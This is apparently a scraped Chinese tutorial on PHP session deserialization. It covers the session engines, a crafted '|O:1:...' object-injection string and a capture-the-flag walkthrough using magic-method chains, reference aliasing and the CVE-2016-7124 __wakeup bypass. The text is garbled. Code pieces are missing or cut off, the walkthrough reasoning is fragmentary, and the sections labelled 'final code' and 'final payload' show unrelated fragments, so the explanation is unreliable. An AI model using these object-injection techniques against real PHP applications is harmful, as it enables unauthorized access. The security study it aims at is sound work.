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PHP的session反序列化漏洞詳解

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2018-01-03 14:10:022187瀏覽

本文主要介紹了PHP的session反序列化漏洞問題,需要的朋友可以參考下。希望對大家有幫助。

在php.ini中存在三項設定項:

session.save_path=""  --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start  boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler  string --定义用来序列化/反序列化的处理器名字。默认使用php

以上的選項就是與PHP中的Session儲存和序列話儲存有關的選項。

在使用xampp元件安裝中,上述的設定項的設定如下:

session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files     表明session是以文件的方式来进行存储的
session.auto_start=0        表明默认不启动session
session.serialize_handler=php    表明session的默认序列话引擎使用的是php序列话引擎

 在上述的設定中,session.serialize_handler是用來設定session的序列話引擎的,除了預設的PHP引擎之外,還有其他引擎,不同的引擎所對應的session的儲存方式不相同。

php_binary:儲存方式是,鍵名的長度對應的ASCII字元+鍵名+經過serialize()函數序列化處理的值

php:儲存方式是,鍵名+垂直線+經過serialize()函數序列處理的值

php_serialize(php>5.5.4):儲存方式是,經過serialize()函數序列化處理的值 

在PHP中預設使用的是PHP引擎,如果要修改為其他的引擎,只需要加入程式碼ini_set('session.serialize_handler', '需要設定的引擎');。範例程式碼如下:

session 的目錄在/var/lib/php/sessions 中

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump($_SESSION);

在php_serialize 引擎下,session檔案中儲存的資料為:

a:1:{s:4:"name";s:6:"spoock";}

php 引擎下檔案內容為:

name|s:6:"spoock";

php_binary 引擎下檔案內容為:

names:6:"spoock";

由於name的長度是4,4在ASCII表中對應的就是EOT。根據php_binary的儲存規則,最後就是names:6:"spoock";。 (突然發現ASCII的值為4的字元無法在網頁上面顯示,這個大家自行去查ASCII表吧)

PHP Session中的序列化危害

#PHP中的Session的實作是沒有的問題,危害主要是由於程式設計師的Session使用不當而引起的。 如果在PHP在反序列化儲存的$_SESSION資料時所使用的引擎和序列化所使用的引擎不一樣,會導致資料無法正確第反序列化。透過精心建構的資料包,就可以繞過程式的驗證或是執行一些系統的方法。例如:

$_SESSION[&#39;ryat&#39;] = &#39;|O:1:"A":1:{s:1:"a";s:2:"xx";}&#39;;

php檔如:

訪問後得到session檔中的內容如下:

root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}

但此時模擬在其他頁面使用不同的php引擎來讀取時的內容如下:(預設使用php引擎讀取session檔)

a;
  }
}
// var_dump($_SESSION);

存取該頁面輸出xx

xxarray(1) {
 ["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
}
這是因為使用php引擎的時候,php引擎會以|作為作為key和value的分隔符,那麼就會將a:1:{s:4:"ryat";s:30:" 作為SESSION的key,將O:1:"A":1:{s :1:"a";s:2:"xx";} 作為value,然後進行反序列化,最後就會得到A這個類別。使用的不一樣的引擎就是造成PHP Session序列話漏洞的原因。 GCTF上的一道session反序列化漏洞分析:

#index.php中內容為:

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET[&#39;src&#39;])){
  $_SESSION[&#39;src&#39;] = $_GET[&#39;src&#39;];
  highlight_file(__FILE__);
  print_r($_SESSION[&#39;src&#39;]);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>代码审计2</title>
 </head>
 <body>

 在php中,常會使用序列化操作來存取數據,但是在序列化的過程中如果處理不當會帶來一些安全隱患。

想法如下:

這題中我們建構一個TOPC,在析構的時候則會呼叫echo $this->attr;;

將attr賦值為TOPB對象,在echo TOPB的時候會自動呼叫__tostring魔術方法

在__tostring中會呼叫unserialize($this->attr )

,因為後面用到token和ticket,所以顯然時TOPA物件。 #,所以在序列化的時候進行指標引用使

$a->ticket = &$a->token;
,即可繞過判斷。 #(string)$this->obj

會輸出flag,後台寫的login可能是__tostring吧。的參數,我問可以透過一個cve來繞過:CVE-2016-7124。將Object中表示數量的欄位改成比實際欄位大的值即可繞過wakeup函數。

最後的程式碼為:

<form action="./query.php" method="POST">    
<input type="text" name="ticket" />        
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>

最終payload為:

/************************/
/*
//query.php 部分代码
session_start();
header(&#39;Look me: edit by vim ~0~&#39;)
//......
class TOPA{
  public $token;
  public $ticket;
  public $username;
  public $password;
  function login(){
    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
    $this->username ==&#39;aaaaaaaaaaaaaaaaa&#39; && $this->password == &#39;bbbbbbbbbbbbbbbbbb&#39;){
      return &#39;key is:{&#39;.$this->token.&#39;}&#39;;
    }
  }
}
class TOPB{
  public $obj;
  public $attr;
  function __construct(){
    $this->attr = null;
    $this->obj = null;
  }
  function __toString(){
    $this->obj = unserialize($this->attr);
    $this->obj->token = $FLAG;
    if($this->obj->token === $this->obj->ticket){
      return (string)$this->obj;
    }
  }
}
class TOPC{
  public $obj;
  public $attr;
  function __wakeup(){
    $this->attr = null;
    $this->obj = null;
  }
  function __destruct(){
    echo $this->attr;
  }
}
*/

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